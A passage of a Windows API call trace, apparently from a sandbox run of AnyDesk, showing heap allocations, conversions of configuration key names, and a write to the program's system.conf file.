(HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02d20 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b2b0 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b2c8 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b2e0 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02d60 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe49350 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x11) returned 0xe54788 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe547a8 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b2f8 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b310 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b328 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe547c8 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe49360 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe547e8 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54808 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b340 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b358 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b370 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe54828 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe49370 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe49380 [0193.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b178 | out: hHeap=0x3b0000) returned 1 [0193.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b160 | out: hHeap=0x3b0000) returned 1 [0193.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ca0 | out: hHeap=0x3b0000) returned 1 [0193.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ce0 | out: hHeap=0x3b0000) returned 1 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02ce0 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02ca0 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b160 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe4b178 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x68) returned 0xe03e00 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54848 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b388 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54868 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b3a0 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b3b8 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b3d0 [0193.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe54888 [0193.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe49390 [0193.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x11) returned 0xe548a8 [0193.921] GetLastError () returned 0x0 [0193.922] GetSystemTime (in: lpSystemTime=0x2a7b4c8 | out: lpSystemTime=0x2a7b4c8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1ab)) [0193.922] GetCurrentThreadId () returned 0xa0c [0193.922] GetCurrentProcessId () returned 0x994 [0193.922] GetLastError () returned 0x0 [0193.922] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17780) returned 0x5ca428 [0193.923] GetLastError () returned 0x0 [0193.923] GetSystemTime (in: lpSystemTime=0x2a7b600 | out: lpSystemTime=0x2a7b600*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1ab)) [0193.923] GetCurrentThreadId () returned 0xa0c [0193.923] GetCurrentProcessId () returned 0x994 [0193.923] GetLastError () returned 0x0 [0193.924] QueryPerformanceFrequency (in: lpFrequency=0x2a7b6f4 | out: lpFrequency=0x2a7b6f4*=100000000) returned 1 [0193.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2a7b6f4 | out: lpPerformanceCount=0x2a7b6f4*=2583294021031) returned 1 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0xe02540 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0xe025e8 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x93) returned 0xe23e98 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49500 [0193.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49520 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49530 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49540 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49550 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49560 [0193.925] GetTickCount () returned 0x1880aff [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49570 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49580 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49590 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495a0 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1b) returned 0xe11460 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf7) returned 0xe54510 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf7) returned 0xe54610 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495b0 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495c0 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1b) returned 0xe114b0 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495d0 [0193.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02620 [0193.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f3c, cbMultiByte=-1, lpWideCharStr=0xe02620, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.state") returned 22 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02658 [0193.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02690 [0193.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36420 [0193.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe026c8 [0193.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02690 | out: hHeap=0x3b0000) returned 1 [0193.927] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02620 | out: hHeap=0x3b0000) returned 1 [0193.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c24a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0193.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10b40 [0193.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c24a8, cbMultiByte=-1, lpWideCharStr=0xe10b40, cchWideChar=29 | out: lpWideCharStr="ad.anynet.relay.fatal_result") returned 29 [0193.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10b88 [0193.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10bd0 [0193.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36440 [0193.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10c18 [0193.928] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0193.928] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0193.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0193.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0xe11488, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0193.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11500 [0193.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495e0 [0193.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11578 [0193.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36460 [0193.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe115c8 [0193.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11578 | out: hHeap=0x3b0000) returned 1 [0193.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11488 [0193.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0xe11488, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11578 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11780 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54968 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe117a8 [0193.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11780 | out: hHeap=0x3b0000) returned 1 [0193.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0193.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02620 [0193.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0xe02620, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0193.931] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02690 [0193.931] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02700 [0193.931] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54988 [0193.931] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02738 [0193.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02700 | out: hHeap=0x3b0000) returned 1 [0193.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02620 | out: hHeap=0x3b0000) returned 1 [0193.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d508c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0193.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d508c, cbMultiByte=-1, lpWideCharStr=0xe11488, cchWideChar=16 | out: lpWideCharStr="ad.license.name") returned 16 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11780 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495f0 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe117d0 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe549a8 [0193.932] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe117f8 [0193.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe117d0 | out: hHeap=0x3b0000) returned 1 [0193.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6118, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.933] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0193.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6118, cbMultiByte=-1, lpWideCharStr=0xe11488, cchWideChar=16 | out: lpWideCharStr="ad.features.woa") returned 16 [0193.933] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe117d0 [0193.933] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11820 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54868 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11848 [0193.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11820 | out: hHeap=0x3b0000) returned 1 [0193.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c07c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11488 [0193.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c07c, cbMultiByte=-1, lpWideCharStr=0xe11488, cchWideChar=15 | out: lpWideCharStr="ad.woa.devices") returned 15 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11820 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49600 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11870 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54888 [0193.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11898 [0193.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11870 | out: hHeap=0x3b0000) returned 1 [0193.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02620 [0193.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0xe02620, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02700 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49610 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02770 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe548a8 [0193.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe027a8 [0193.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02770 | out: hHeap=0x3b0000) returned 1 [0193.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02620 | out: hHeap=0x3b0000) returned 1 [0193.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02620 [0193.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad78, cbMultiByte=-1, lpWideCharStr=0xe02620, cchWideChar=23 | out: lpWideCharStr="ad.anynet.network_hash") returned 23 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02770 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49620 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe027e0 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a08 [0193.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02818 [0193.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe027e0 | out: hHeap=0x3b0000) returned 1 [0193.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02620 | out: hHeap=0x3b0000) returned 1 [0193.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c08c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32278 [0193.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c08c, cbMultiByte=-1, lpWideCharStr=0xe32278, cchWideChar=28 | out: lpWideCharStr="ad.anynet.client_stats_hash") returned 28 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32338 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49630 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe322f8 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a28 [0193.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe323b8 [0193.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0193.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32278 | out: hHeap=0x3b0000) returned 1 [0193.938] GetLastError () returned 0x0 [0193.938] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0193.938] LockFileEx (in: hFile=0x20c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5c8 | out: lpOverlapped=0x2a7b5c8) returned 1 [0193.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b3d0 [0193.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12c00 [0193.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b478 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe25718 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b490 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe027e0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fa0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12cb0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fb8 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32278 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fd0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02850 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fe8 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10b40 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55000 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12d60 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55018 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11488 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a6) returned 0xe4a9a0 [0193.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0193.939] GetLastError () returned 0xb7 [0193.940] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.940] SetEndOfFile (hFile=0x20c) returned 1 [0193.941] WriteFile (in: hFile=0x20c, lpBuffer=0xe4a9a0*, nNumberOfBytesToWrite=0x1a6, lpNumberOfBytesWritten=0x2a7b588, lpOverlapped=0x0 | out: lpBuffer=0xe4a9a0*, lpNumberOfBytesWritten=0x2a7b588*=0x1a6, lpOverlapped=0x0) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9a0 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55018 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02850 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0193.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fe8 | out: hHeap=0x3b0000) returned 1 [0193.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0193.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b3d0 | out: hHeap=0x3b0000) returned 1 [0193.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12d60 | out: hHeap=0x3b0000) returned 1 [0193.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b478 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b490 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12cb0 | out: hHeap=0x3b0000) returned 1 [0193.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fa0 | out: hHeap=0x3b0000) returned 1 [0193.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32278 | out: hHeap=0x3b0000) returned 1 [0193.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fb8 | out: hHeap=0x3b0000) returned 1 [0193.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe027e0 | out: hHeap=0x3b0000) returned 1 [0193.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0193.945] UnlockFileEx (in: hFile=0x20c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b560 | out: 